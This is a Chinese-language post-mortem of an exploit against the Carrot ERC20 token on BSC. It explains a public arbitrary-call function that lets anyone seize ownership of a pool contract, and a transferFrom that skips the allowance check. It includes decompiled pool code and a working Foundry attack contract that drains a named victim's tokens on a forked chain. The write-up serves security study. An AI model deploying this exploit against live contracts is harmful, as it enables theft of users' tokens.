本文作者:小驹[1]
Carrot 是一个ERC20 代币[2],漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的 Carrot 代币。利用过中还涉及一个未开源的 pool 合约。一句话总结漏洞利用过程:利用代码注入漏洞 Carrot 合约通过调用 pool 合约的方法成为 pool 合约的 owner,利用逻辑漏洞绕过转账时的授权检查。
攻击者、攻击合约
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
存在漏洞的合约
Carrot 合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
pool 合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f account 0x6863b549bf730863157318df4496ed111adfa64f vulPool
漏洞类型为:代码注入和逻辑错误。
漏洞主要存在两个地方:
transReward
函数可以达到执行任意 pool 合约的目的。transferFrom
函数中的对满足_isExcludedFromFee 的用户,没有授权的判定。漏洞 1:代码注入。导致任意人可以调用 pool 合约的代码,从而可以改变 pool 合约的 owner。
漏洞存在于 Carrot 合约中transReward
函数中,该函数为 public 函数,可以通过传递 data 参数调用 pool 合约,pool 合约未开源。
function transReward(bytes memory data) public {
pool.functionCall(data);
}
pool 合约中存在0xbf699b4b
的函数,该函数可以设置 pool 合约的 owner
漏洞 2:逻辑错误。transferFrom
函数中满足免税的用户,直接_transfer 了,而没有进行 approve 的判断,从而所有 Carrot 代币的用户,都可以被转走。
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_beforeTransfer(_msgSender(),recipient,amount);
if(_isExcludedFromFee[_msgSender()]){
_transfer(sender, recipient, amount);
return true;
}
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
主要使用 blocksec 进行分析。
调用黑客合约的0x668f0ad4
方法
黑客合约直接 delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4 的方法
0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4 直接调用了 hackCon 的 0x8d3360cc 方法 (这里考虑是不是回调)
delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x8d3360cc 的方法
transReward
,这个函数只有一句代码
pool.functionCall(data);
其中 pool 的地址为:0x6863b549bf730863157318df4496ed111adfa64f
data 中传递的参数:
给 pool 传递的原始数据为:
这里应该是弯路
0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae
应该对应两个字段:
前4个字节为函数名bf699b4b,现在未知
后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。
所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。
可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据
💩 PS:这个pool地址是由Carrot的官方部署的。通过对 pool 合约逆向。可以看到
function 0xbf699b4b(uint256 varg0) public nonPayable {
require(4 + (msg.data.length - 4) - 4 >= 32);
0x2110(varg0);
if (_owner.code.size > 0) {
stor_3_0_0 = 1; //IsOwnerContract
}
if (!stor_3_0_0) {
v0 = v1 = _owner == msg.sender;
if (_owner != msg.sender) {
v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中
}
require(v0);
} else {
require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner
}
_owner = varg0; //将传入的地址设置成owner
}
anvil --fork-url https://rpc.ankr.com/bsc[3] --fork-block-number 22055611
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
address public owner;
address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
constructor() {
owner = msg.sender;
}
modifier OnlyOwner() {
require(owner==msg.sender, "OnlyOwner can");
_;
}
function kill(address _to) public OnlyOwner {
selfdestruct(payable(_to));
}
function hackProc() public OnlyOwner {
Carrot carrot = Carrot(CARADDR);
carrot.approve(PANCAKEROUTER, ~uint(0));
carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
carrot.transferFrom(address(this), CARADDR, 0);
// 开始从授权账户转币
address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
uint amount = carrot.balanceOf(victim);
console2.log("Victim:%s, carrot balance:%s",
victim, amount);
carrot.transferFrom(victim, address(this), amount);
// 0x0522898a86196612248aD0FE88E8De4f7156DaC3
}
}
修复的方式
新合约与旧合约代码上的改变。
新合约的 pool 地址为 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
新的 pool 地址中也有一个 bf699b4b
的函数
0xbf699b4b
可以取得 owner 权限吗?对 2 的解答:
不可以。对 Carrot 合约0xcff086ead392ccb39c49ecda8c974ad5238452ac
,在 pool 合约中 mapping 变量的值为 1,对其他合约0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84
,在 pool 合约中 mapping 变量的值为 0。所以其他合约在调用0xbf699b4b
函数时,会因为 mapping 的原因,导致无法通过 pool 合约中的 require 检查,因此函数调用不会成功。0xcff086ead392ccb39c49ecda8c974ad5238452ac 的 mapping 变量的值
cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001
0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry 部署的合约地址)的 mapping 变量的值
cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000
对 3 的解答
IsOwnerContract 存储在合约的 STORAGE 3 中,使用 cast 命令可以读取到,该值为 0,表示 owner 不是一个合约地址。
owner 的地址在合约的 STORAGE 5 中,使用
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5 -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742
攻击 tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac
漏洞利用时 pool 合约地址:0x6863b549bf730863157318df4496ed111adfa64f
新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB
新合约使用的 pool 地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa
account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9[4]
Foundry 的基本使用总结 https://learnblockchain.cn/article/4725[5]
[1]
小驹: https://learnblockchain.cn/people/9625
[2]
ERC20代币: https://learnblockchain.cn/article/3672
[3]
https://rpc.ankr.com/bsc: https://rpc.ankr.com/bsc
[4]
https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9: https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
[5]
https://learnblockchain.cn/article/4725: https://learnblockchain.cn/article/4725